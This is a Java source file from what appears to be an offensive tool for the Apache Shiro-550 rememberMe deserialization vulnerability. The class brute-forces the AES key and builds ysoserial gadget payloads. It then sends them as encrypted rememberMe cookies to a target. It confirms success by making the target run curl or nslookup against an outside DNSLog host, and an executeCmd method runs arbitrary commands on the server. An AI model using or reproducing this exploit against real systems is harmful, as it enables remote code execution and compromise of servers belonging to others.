package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.*;

public class Shiro550VerifiertUsingDNSLog implements Verifier {
    private Config config;
    private String key;
    private List<PayloadType> gadgets;
    private Boolean flag = false;

    public Shiro550VerifiertUsingDNSLog(){
        this.config = Config.getInstance();
        System.out.println("[*] Using Shiro550VerifiertUsingDNSLog");
        System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
        System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
        System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
        System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
        this.gadgets = new ArrayList<>();
    }


    @Override
    public void getValidGadget() throws ExploitFailedException {
        this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
        if(this.key == null){
            throw new ExploitFailedException("[-] Can not find a valid key");
        }
        System.out.println("[+] Find Valid Key: " + this.key);

        Map<String, PayloadType> gadgetMap = sendAllCurlPayloads();
        this.gadgets = Tools.getValidGadgetsFromDNSLog(gadgetMap);
        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can not find a valid gadget");
        }

        for(PayloadType type : gadgets){
            System.out.println("[+] Find Valid Gadget: " + type.getName());
        }

        this.flag = true;
    }

    @Override
    public String executeCmd(String cmd){
        PayloadType payloadType = Tools.randomSelect(gadgets);

        System.out.println("[*] Using Key " + this.key);
        System.out.println("[*] Using Gadget " + payloadType.getName());
        System.out.println("[*] Executing command: " + cmd + "...");
        String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
        byte[] result = Tools.exec(command);
        String rememberMe = AesEncrypt.encrypt(this.key, result);

        HttpRequest.request(config.getRequestInfo(), rememberMe);
        System.out.println("[+] Done");

        return null;
    }

    private Map<String,PayloadType> sendAllCurlPayloads(){
        Map<String, PayloadType> map = new HashMap<>();

        for(PayloadType payloadType : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + payloadType.getName());

            String uuid = UUID.randomUUID().toString().replaceAll("-", "");

            List<String> commands = new ArrayList<>();
            //linux
            commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
                    payloadType.getName() + " \"curl http://" + uuid + "." + config.getDnsLogRecord() + "\"");
            //windows
            commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
                    payloadType.getName() + " \"nslookup " + uuid + "." + config.getDnsLogRecord() + "\"");

            for(String command : commands){
                byte[] payload = Tools.exec(command);
                String rememberMe = AesEncrypt.encrypt(this.key, payload);
                HttpRequest.request(config.getRequestInfo(), rememberMe);
            }

            map.put(uuid,payloadType);
        }

        return map;
    }
}
